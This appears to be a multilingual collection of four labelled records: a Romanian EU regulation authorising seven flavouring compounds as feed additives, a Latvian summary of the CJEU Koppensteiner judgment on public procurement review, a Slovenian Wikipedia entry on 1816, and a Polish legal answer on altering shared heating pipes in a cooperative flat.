type: legislation

jurisdiction: EU

text:
 23.2.2018
 RO
 Jurnalul Oficial al Uniunii Europene
 L 53/69
 REGULAMENTUL DE PUNERE ÎN APLICARE (UE) 2018/243 AL COMISIEI
 din 15 februarie 2018
 privind autorizarea 3-hidroxibutan-2-onă, pentan-2,3-dionă, 3,5-dimetil ciclopentan-1,2-dionă, hexan-3,4-dionă, acetat de sec-butan-3-onil, 2,6,6-trimetilciclohex-2-en-1,4-dionă și 3-metilnonă-2-4-dionă ca aditivi furajeri pentru toate speciile de animale
 (Text cu relevanță pentru SEE)
 COMISIA EUROPEANĂ,
 având în vedere Tratatul privind funcționarea Uniunii Europene,
 având în vedere Regulamentul (CE) nr. 1831/2003 al Parlamentului European și al Consiliului din 22 septembrie 2003 privind aditivii din hrana animalelor (1), în special articolul 9 alineatul (2),
 întrucât:
 (1)
 Regulamentul (CE) nr. 1831/2003 prevede autorizarea aditivilor destinați utilizării în hrana animalelor și stabilește motivele și procedurile de acordare a unei astfel de autorizații. Articolul 10 din regulamentul respectiv prevede reevaluarea aditivilor autorizați în temeiul Directivei 70/524/CEE a Consiliului (2).
 (2)
 Substanțele 3-hidroxibutan-2-onă, pentan-2,3-dionă, 3,5-dimetil ciclopentan-1,2-dionă, hexan-3,4-dionă, acetat de sec-butan-3-onil, 2,6,6-trimetilciclohex-2-en-1,4-dionă și 3-metilnonă-2-4-dionă (denumite în continuare „substanțele în cauză”) au fost autorizate fără limită de timp prin Directiva 70/524/CEE ca aditivi furajeri pentru toate speciile de animale. Substanțele respective au fost înscrise ulterior în Registrul aditivilor pentru hrana animalelor ca produse existente, în conformitate cu articolul 10 alineatul (1) din Regulamentul (CE) nr. 1831/2003.
 (3)
 În conformitate cu articolul 10 alineatul (2) coroborat cu articolul 7 din Regulamentul (CE) nr. 1831/2003, a fost depusă o cerere pentru reevaluarea substanțelor în cauză ca aditivi furajeri pentru toate speciile de animale. Solicitantul a cerut ca aditivii respectivi să fie clasificați în categoria „aditivi senzoriali”. Cererea respectivă a fost însoțită de informațiile și documentele necesare în temeiul articolului 7 alineatul (3) din Regulamentul (CE) nr. 1831/2003.
 (4)
 Autoritatea Europeană pentru Siguranța Alimentară (denumită în continuare „autoritatea”) a concluzionat în avizul ei din 19 octombrie 2016 (3) că, în condițiile de utilizare propuse, substanțele în cauză nu au efecte adverse asupra sănătății animalelor, asupra sănătății umane sau asupra mediului. Autoritatea a concluzionat că, întrucât substanțele în cauză sunt eficace atunci când sunt utilizate în produse alimentare ca substanțe aromatizante, iar funcția lor în hrana pentru animale este în esență aceeași precum în produsele alimentare, nu era necesară nicio demonstrație suplimentară a eficacității. Prin urmare, concluzia respectivă poate fi extrapolată la hrana pentru animale. Solicitantul a retras cererea pentru apa de băut; cu toate acestea, ar trebui să fie posibilă utilizarea substanțelor în cauză în furaje combinate care sunt administrate ulterior cu ajutorul apei.
 (5)
 Pentru a face posibil un control mai bun, ar trebui prevăzute restricții și condiții. Deoarece niciun motiv de siguranță nu impune stabilirea unui conținut maxim și luând în considerare reevaluarea efectuată de autoritate, conținuturile recomandate ar trebui menționate pe eticheta aditivului. În cazul în care acest conținut este depășit, anumite informații ar trebui să fie indicate pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate.
 (6)
 Autoritatea a menționat că pericolele pentru piele, contactul cu ochii și expunerea căilor respiratorii sunt recunoscute. Majoritatea substanțelor sunt clasificate ca iritante pentru căile respiratorii. Prin urmare, ar trebui instituite măsuri de protecție adecvată. Autoritatea nu consideră că sunt necesare cerințe specifice pentru monitorizarea ulterioară introducerii pe piață. Ea a verificat, de asemenea, raportul privind metoda de analiză a aditivilor furajeri în hrana pentru animale, transmis de laboratorul de referință înființat prin Regulamentul (CE) nr. 1831/2003.
 (7)
 Evaluarea substanțelor în cauză arată că sunt îndeplinite condițiile de autorizare, astfel cum sunt prevăzute la articolul 5 din Regulamentul (CE) nr. 1831/2003. În consecință, utilizarea substanțelor respective ar trebui să fie autorizată conform specificațiilor din anexa la prezentul regulament.
 (8)
 Deoarece nu există motive legate de siguranță care să impună aplicarea imediată a modificărilor condițiilor de autorizare a substanțelor în cauză, este adecvat să se prevadă o perioadă de tranziție pentru a permite părților interesate să se pregătească pentru a îndeplini noile cerințe care decurg din autorizare.
 (9)
 Măsurile prevăzute în prezentul regulament sunt conforme cu avizul Comitetului permanent pentru plante, animale, produse alimentare și hrană pentru animale,
 ADOPTĂ PREZENTUL REGULAMENT:
 Articolul 1
 Autorizare
 Substanțele specificate în anexă, aparținând categoriei „aditivi senzoriali” și grupei funcționale „compuși aromatizanți”, sunt autorizate pentru a fi utilizate ca aditivi furajeri în condițiile stabilite în anexa respectivă.
 Articolul 2
 Măsuri tranzitorii
 (1) Substanțele menționate în anexă și preamestecurile care conțin substanțele respective și care sunt produse și etichetate înainte de 15 septembrie 2018 în conformitate cu normele aplicabile înainte de 15 martie 2018 pot fi, în continuare, introduse pe piață și utilizate până la epuizarea stocurilor existente.
 (2) Materiile prime furajere și furajele combinate care conțin substanțele cu specificațiile din anexă și care sunt produse și etichetate înainte de 15 martie 2019, în conformitate cu normele aplicabile înainte de 15 martie 2018, pot fi introduse în continuare pe piață și utilizate până la epuizarea stocurilor existente dacă sunt destinate animalelor de la care se obțin produse alimentare.
 (3) Materiile prime furajere și furajele combinate care conțin substanțele cu specificațiile din anexă și care sunt produse și etichetate înainte de 15 martie 2020, în conformitate cu normele aplicabile înainte de 15 martie 2018, pot fi introduse în continuare pe piață și utilizate până la epuizarea stocurilor existente dacă sunt destinate animalelor de la care nu se obțin produse alimentare.
 Articolul 3
 Intrarea în vigoare
 Prezentul regulament intră în vigoare în a douăzecea zi de la data publicării în Jurnalul Oficial al Uniunii Europene.
 Prezentul regulament este obligatoriu în toate elementele sale și se aplică direct în toate statele membre.
 Adoptat la Bruxelles, 15 februarie 2018.
 Pentru Comisie
 Președintele
 Jean-Claude JUNCKER
 (1) JO L 268, 18.10.2003, p. 29.
 (2) Directiva 70/524/CEE a Consiliului din 23 noiembrie 1970 privind aditivii din hrana animalelor (JO L 270, 14.12.1970, p. 1).
 (3) EFSA Journal 2016; 14(11):4618.
 ANEXĂ
 Numărul de identificare al aditivului
 Numele titularului autorizației
 Aditivul
 Compoziția, formula chimică, descrierea, metoda analitică
 Specia sau categoria de animale
 Vârsta maximă
 Conținutul minim
 Conținutul maxim
 Alte dispoziții
 Sfârșitul perioadei de autorizare
 mg de substanță activă/kg de hrană completă pentru animale cu un conținut de umiditate de 12 %
 Categorie: aditivi senzoriali. Grupa funcțională: compuși aromatizanți
 2b07051
 —
 3-Hidroxibutan-2-onă
 Compoziția aditivului
 3-Hidroxibutan-2-onă
 Caracterizarea substanței active
 3-Hidroxibutan-2-onă
 Produs prin sinteză chimică
 Puritate: min. 96 %, analitică
 Formula chimică: C4H8O2
 Numărul CAS: 513-86-0
 Nr. FLAVIS: 07.051
 Metoda analitică
 (1)
 Pentru determinarea substanței 3-hidroxibutan-2-onă în aditivul furajer și în preamestecurile furajere aromatizante:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat al substanței active este de 5 mg/kg de furaj complet cu un conținut de umiditate de 12 %.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %: 5 mg/kg.”
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește: 5 mg/kg.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b07060
 —
 Pentan-2,3-dionă
 Compoziția aditivului
 Pentan-2,3-dionă
 Caracterizarea substanței active
 Pentan-2,3-dionă
 Produs prin sinteză chimică
 Puritate: min. 93 %, analitică
 Formula chimică: C5H8O2
 Numărul CAS: 600-14-6
 Nr. FLAVIS: 07.060
 Metoda analitică
 (1)
 Pentru determinarea substanței pentan-2,3-dionă în aditivul furajer și în preamestecurile aromatizante destinate hranei pentru animale:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat al substanței active este de 5 mg/kg de furaj complet cu un conținut de umiditate de 12 %.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %: 5 mg/kg.”
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește: 5 mg/kg.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b07076
 —
 3,5-Dimetil ciclopentan-1,2-dionă
 Compoziția aditivului
 3,5-Dimetil ciclopentan-1,2-dionă
 Caracterizarea substanței active
 3,5-Dimetil ciclopentan-1,2-dionă
 Produs prin sinteză chimică
 Puritate: min. 97 %, analitică
 Formula chimică: C7H10O2
 Numărul CAS: 13494-07-0
 Nr. FLAVIS: 07.076
 Metoda analitică
 (1)
 Pentru determinarea substanței 3,5-dimetil ciclopentan-1,2-dionă în aditivul furajer și în preamestecurile furajere aromatizante:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat al substanței active este de 0,5 mg/kg de furaj complet cu un conținut de umiditate de 12 %.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %: 0,5 mg/kg.”
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește: 0,5 mg/kg.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b07077
 —
 Hexan-3,4-dionă
 Compoziția aditivului
 Hexan-3,4-dionă
 Caracterizarea substanței active
 Hexan-3,4-dionă
 Produs prin sinteză chimică
 Puritate: min. 97 %, analitică
 Formula chimică: C6H10O2
 Numărul CAS: 4437-51-8
 Nr. FLAVIS: 07.077
 Metoda analitică
 (1)
 Pentru determinarea substanței hexan-3,4-dionă în aditivul furajer și în preamestecurile aromatizante destinate hranei pentru animale:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat al substanței active este de 5 mg/kg de furaj complet cu un conținut de umiditate de 12 %.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %: 5 mg/kg.”
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește: 5 mg/kg.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b09186
 —
 Acetat de sec-butan-3-onil
 Compoziția aditivului
 Acetat de sec-butan-3-onil
 Caracterizarea substanței active
 Acetat de sec-butan-3-onil
 Produs prin sinteză chimică
 Puritate: min. 98 %, analitică
 Formula chimică: C6H10O3
 Numărul CAS: 4906-24-5
 Nr. FLAVIS: 09.186
 Metoda analitică
 (1)
 Pentru determinarea substanței acetat de sec-butan-3-onil în aditivul furajer și în preamestecurile aromatizante destinate hranei pentru animale:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat al substanței active este de 5 mg/kg de furaj complet cu un conținut de umiditate de 12 %.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %: 5 mg/kg.”
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește: 5 mg/kg.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b07109
 —
 2,6,6-Trimetilciclohex-2-en-1,4-dionă
 Compoziția aditivului
 2,6,6-Trimetilciclohex-2-en-1,4-dionă
 Caracterizarea substanței active
 2,6,6-Trimetilciclohex-2-en-1,4-dionă
 Produs prin sinteză chimică
 Puritate: min. 98 %, analitică
 Formula chimică: C9H12O2
 Numărul CAS: 1125-21-9
 Nr. FLAVIS: 07.109
 Metoda analitică
 (1)
 Pentru determinarea substanței 2,6,6-trimetilciclohex-2-en-1,4-dionă în aditivul furajer și în preamestecurile furajere aromatizante:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat de substanță activă în furaje complete cu un conținut de umiditate de 12 % este de:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii”.
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 2b07184
 —
 3-Metilnonă-2-4-dionă
 Compoziția aditivului
 3-Metilnonă-2-4-dionă
 Caracterizarea substanței active
 3-Metilnonă-2-4-dionă
 Produs prin sinteză chimică
 Puritate: min. 97 %, analitică
 Formula chimică: C10H18O2
 Numărul CAS: 113486-29-6
 Nr. FLAVIS: 07.184
 Metoda analitică
 (1)
 Pentru determinarea substanței 3-metilnonă-2-4-dionă în aditivul furajer și în preamestecurile furajere aromatizante:
 Gazcromatografie/spectrometrie de masă cu blocarea timpului de retenție GC-MS-RTL.
 Toate speciile de animale
 —
 —
 —
 1.
 Aditivul se încorporează în furaj sub formă de preamestec.
 2.
 În instrucțiunile de utilizare a aditivului și a preamestecurilor se precizează condițiile de depozitare și de stabilitate.
 3.
 Conținutul maxim recomandat de substanță activă în furaje complete cu un conținut de umiditate de 12 % este de:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii.
 4.
 Pe eticheta aditivului se indică următoarele:
 „Conținut maxim recomandat al substanței active în furaj complet cu un conținut de umiditate de 12 %:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii”.
 5.
 Grupa funcțională, numărul de identificare, denumirea și cantitatea adăugată de substanță activă se indică pe eticheta preamestecurilor și în etichetarea materiilor prime furajere și a furajelor combinate, dacă conținutul de substanță activă din furajul complet cu un conținut de umiditate de 12 % depășește:
 —
 0,3 mg/kg pentru porci și păsări de curte;
 —
 0,5 mg/kg pentru alte specii și categorii.
 6.
 Operatorii din sectorul furajelor stabilesc proceduri operaționale și măsuri organizatorice destinate utilizatorilor aditivului și ai preamestecurilor, pentru a aborda riscurile potențiale în caz de inhalare și în caz de contact cu pielea sau cu ochii. În cazul în care riscurile respective nu pot fi eliminate sau reduse la minimum prin astfel de proceduri și de măsuri, aditivul și preamestecurile se utilizează cu echipamente de protecție individuală, inclusiv cu echipamente de protecție respiratorie, ochelari și mănuși de protecție.
 15.3.2028
 (1) Detaliile metodelor analitice sunt disponibile la următoarea adresă a Laboratorului de referință: https://ec.europa.eu/jrc/en/eurl/feed-additives/evaluation-reports


type: caselaw

text:
 23.7.2005
 LV
 Eiropas Savienības Oficiālais Vēstnesis
 C 182/14
 TIESAS SPRIEDUMS
 (otrā palāta)
 2005. gada 2. jūnijā
 lietā C-15/04 (Bundesvergabeamt lūgums sniegt prejudiciālu nolēmumu) Koppensteiner GmbH pret Bundesimmobiliengesellschaft mbH
 (1)
 (Publiskie iepirkumi - Direktīva 89/665/EEK - Pārskatīšanas procedūra publisko iepirkumu piešķiršanas jomā - Lēmums atsaukt uzaicinājumu uz konkursu pēc piedāvājumu atvēršanas - Tiesas kontrole - Piemērojamība - Efektivitātes princips)
 (2005/C 182/26)
 tiesvedības valoda — vācu
 Lietā C-15/04 par lūgumu sniegt prejudiciālu nolēmumu atbilstoši EKL 234. pantam, ko Bundesvergabeamt (Austrija) iesniedza ar lēmumu, kas pieņemts 2004. gada 12. janvārī un kas Tiesā reģistrēts 2004. gada 19. janvārī, tiesvedībā Koppensteiner GmbH pret Bundesimmobiliengesellschaft mbH, Tiesa (otrā palāta) šādā sastāvā: palātas priekšsēdētājs K. V. A. Timmermanss [C. W. A. Timmermans], tiesneši R. Silva de Lapuerta [R. Silva de Lapuerta], K. Gulmans [C. Gulmann] (referents), P. Kūris [P. Kūris] un Dž. Arestis [G. Arestis], ģenerāladvokāte K. Štiksa-Hakla [C. Stix-Hackl], sekretārs R. Grass [R. Grass], 2005. gada 2. jūnijā ir pasludinājusi spriedumu, kura rezolutīvā daļa ir šāda:
 Kompetentajai tiesai ir pienākums nepiemērot valsts noteikumus, kas tai liedz ievērot pienākumu, kas izriet no 1. panta 1. punkta un 2. panta 1. punkta b) apakšpunkta Padomes 1989. gada 21. decembra Direktīvā 89/665/EEK par to normatīvo un administratīvo aktu koordinēšanu, kuri attiecas uz izskatīšanas procedūru piemērošanu, piešķirot piegādes un uzņēmuma līgumus valsts vajadzībām, ar grozījumiem, kas izdarīti ar Padomes 1992. gada 18. jūnija Direktīvu 92/50/EEK par procedūru koordinēšanu valsts pakalpojumu līgumu piešķiršanai.
 (1) OV C 85, 03.04.2004.


type: wikipedia

text:
1816 (MDCCCXVI) je bilo prestopno leto, ki se je po gregorijanskem koledarju začelo na ponedeljek, po 12 dni počasnejšem julijanskem koledarju pa na soboto.
 Dogodki
 22. februar - ustanovljen Kraljevi muzej Bourbonov, sedanji Nacionalni arheološki muzej Neaplja
 9. julij - Argentina postane neodvisna država
 Rojstva
 7. februar - Jean Frédéric Frenet, francoski matematik, astronom, meteorolog († 1900)
 9. april - Charles-Eugène Delaunay, francoski astronom, matematik († 1872)
 1. maj - Aleksander Terplan, madžarsko-slovenski pisatelj in pastor († 1858)
 14. julij - Arthur de Gobineau, francoski aristokrat in rasni teoretik († 1882)
 Smrti
 22. februar - Adam Ferguson, škotski filozof in zgodovinar (* 1723)
 12. junij - Pierre François Charles Augereau, maršal Francoskega cesarstva (* 1757)
 24. junij - Konstantin Ipsilanti, moldavski in vlaški knez (1760)


type: other

text:
Janusz Polanowski • Opublikowane: 2017-01-06
 Nabyłem mieszkanie w bloku, na ostatnim piętrze. Pod sufitem i nie tylko jest bardzo dużo rurek odpowietrzających od ogrzewania. Zapytałem w spółdzielni, czy mogę je zlikwidować, ale mi odmówiono, tłumacząc się niejasno problemami technicznymi, jakie wystąpiły kiedyś po takich zmianach. Tymczasem słyszałem, że w innych spółdzielniach zezwalają na przeróbki. Chciałem zapytać, czy ja, posiadając spółdzielcze własnościowe prawo do lokalu mieszkalnego, mogę sam dokonać przeróbek, nie oglądając się na zgodę spółdzielni? Jeśli zrobię to na własną rękę, czy spółdzielnia może mnie w jakiś sposób za to ukarać?
 Zacznijmy od ustalenia Pańskich uprawnień. Spółdzielcze własnościowe prawo do lokalu jest jednym z ograniczonych praw rzeczowych – art. 244 i następne Kodeksu cywilnego (K.c.) – a więc jego właścicielem jest odnośna spółdzielnia mieszkaniowa, a nie Pan. Pan nabył jedno z ograniczonych praw rzeczowych, a nie własność (określoną ustawowo w art. 140 K.c.). Spółdzielcze prawa do lokalu (wspomniane w art. 244 K.c.) dokładniej uregulowano w ustawie o spółdzielniach mieszkaniowych, której rozdział 21 poświęcono spółdzielczemu własnościowemu prawu do lokali. Artykuł 172 ustęp 1 ustawy o spółdzielniach mieszkaniowych stanowi: „Spółdzielcze własnościowe prawo do lokalu jest prawem zbywalnym, przechodzi na spadkobierców i podlega egzekucji. Jest ono ograniczonym prawem rzeczowym”. Można dodać, że zasadnie Pan odwołał się do posiadania (ustawowo określonego w art. 336 K.c.); chodzi o to, że z całą pewnością Pan jest posiadaczem (choć nie jest Pan właścicielem) tegoż mieszkania, zaś zakres Pańskich uprawnień jest bliski posiadaniu samoistnemu.
 Wiele osób traktuje spółdzielcze własnościowe prawo do lokalu tak, jakby to była własność. Są to odrębne prawa – w przypadku lokali (np. mieszkalnych): odrębne rodzaje tytułów prawych. Ustawodawca nie pozostawia żadnych wątpliwości – chodzi o ograniczone prawo rzeczowe, a nie o własność. Jeżeli dojdzie (w odniesieniu do danego mieszkania) do przekształcenia spółdzielczego własnościowego prawa do lokalu w prawo własności, to będzie można zasadnie mówić o przysługiwaniu Panu własności odnośnie do tegoż mieszkania.
 Zdaję sobie sprawę z tego, że takie słowa mogą Pana zaskakiwać, ale moim obowiązkiem jest przedstawiać informacje o prawie – taka informacja może ułatwić podejmowanie decyzji zgodnych z prawem (niezależnie od skali i siły społecznie popularnych wyobrażeń lub mitów).
 Proszę sprawdzić, czy w ramach danej nieruchomości (art. 46 K.c.), a zdarza się, że na jednej nieruchomości gruntowej znajduje się więcej niż jeden budynek, wyodrębniono nieruchomości lokalowe (czyli doszło do ustanowienia odrębnej własności lokali). Spółdzielnie mieszkaniowej często (zwłaszcza z uwagi na część przepisów ustawy o spółdzielniach mieszkaniowych) zarządzają nieruchomościami, w których wyodrębniono własność lokali (na bazie „bloków spółdzielczych). Takie sprawdzenie powinno Panu pomóc w ustaleniu statusu danej spółdzielni mieszkaniowej w odniesieniu do budynku, w którym Pan nabył spółdzielcze własnościowe prawo do lokalu. Czy odnośna spółdzielnia jest „tylko” właścicielem odnośnego mieszkania, czy też również występuje w roli podmiotu zarządzającego sprawami danej wspólnoty mieszkaniowej – o ile doszło do powstania wspólnoty mieszkaniowej. Wspólnoty mieszkaniowe powstają z mocy prawa; także wtedy, gdy są bierne, np. nie wybrano zarządu takiej wspólnoty.
 Spółdzielnia mieszkaniowa jako właściciel mieszkania jest uprawniona decydować o bardzo ważnych zagadnieniach organizacyjnych, w tym dotyczących funkcjonowania budynku; tak samo (a może nawet bardziej) sytuacja przestawia się, jeżeli gdy spółdzielnia mieszkaniowa zarządza wspólnotą mieszkaniową (jeżeli taka powstała).
 Odnośne instalacje (w tym ich części) z pewnością nie służą do wyłącznego korzystania w mieszkaniu, do którego tytuł prawny Pan nabył, więc – zwłaszcza przez wzgląd na szeroką skalę ustanawiania odrębnej własności lokali na bazie „praw spółdzielczych” – należy się liczyć z tym, że w tym przypadku wprost ma zastosowanie art. 3 ustęp 2 ustawy o własności lokali, który brzmi: „Nieruchomość wspólną stanowi grunt oraz części budynku i urządzenia, które nie służą wyłącznie do użytku właścicieli lokali”. Jeśli nawet nie powstała (w ramach danej nieruchomości) wspólnota mieszkaniowa, to duże znaczenie ma wola właściciela tegoż mieszkania, czyli spółdzielni; ewentualne spory związane z ograniczonymi prawami rzeczowymi (w tym „prawami spółdzielczymi”) są uprawnione rozstrzygać sądy, zaś w postępowaniu cywilnym zapewne duże znaczenie miałaby w tego rodzaju sytuacji opinia specjalistyczna – np. z „nadzoru budowlanego” oraz biegłego sądowego (a takie opiniowanie jest kosztowne). Gdyby nawet Pan uzyskał zgodę na przeprowadzenie określonych prac, to zapewne koszty z tym związane Pan by poniósł, a ponadto ryzyko związane z przebiegiem oraz następstwami prac również Pana by dotyczyło.
 Spółdzielnia mieszkaniowa mogłaby nawet ponosić odpowiedzialność materialną (zwłaszcza odszkodowawczą), gdy zgodziła się na ryzykowne ingerencje w instalacje o znaczeniu dla funkcjonowania także innych lokali. Pana oraz tej spółdzielni dotyczą różne przepisy prawa. Chodzi nie tylko o prawo budowlane (czyli ustawę – Prawo budowlane i przepisy z nią związane), ale także o inne przepisy prawne. Samowolna lub nieostrożna ingerencja w instalacje wspólne (ważne dla korzystania także z innych lokali) może skutkować roszczeniami odszkodowawczymi (zwłaszcza art. 415 i następne K.c.) – także w przypadku przeprowadzenia prac za zgodą właściciela mieszkania (czyli odnośnej spółdzielni); także spółdzielnia mogłaby odpowiadać.
 Przejawem wpływu ideologii liberalizmu (zwłaszcza skrajnego) oraz jedną z cech „polskiej wersji kapitalizmu” są wyobrażenia, jakoby własność była „święta”. Także własności dotyczą ograniczenia – w tym ogólnie wskazane w art. 140 K.c.. Przepisy o własności odpowiednio stosują się do użytkowania wieczystego oraz do „praw spółdzielczych” (zwłaszcza do spółdzielczego własnościowego prawa do lokalu) – co zaznaczam z uwagi na nabycie przez Pana jednego z ograniczonych praw rzeczowych. Rodzaje ograniczeń często zależą od położenia rzeczy, np. mieszkania. Prawdopodobnie z Pańskiego mieszkania można normalnie korzystać tylko dlatego, że również przez inne mieszkania przechodzą instalacje o znaczeniu ważnym dla tego mieszkania, którego dotyczy nabyty przez Pana tytuł do lokalu. Gdyby każdy mieszkaniec dążył do wykluczenia ze swego mieszkania instalacji ważnych dla korzystania z innych mieszkań, to zapewne nie dałoby się żyć w takim budynku.
 Pan ma prawo nie zgadzać się z prawem obowiązującym. Moim obowiązkiem jest powiadomić Pana również o ewentualnych konsekwencjach dokonania zmian w funkcjonowaniu instalacji – zwłaszcza zmian bezprawnych.
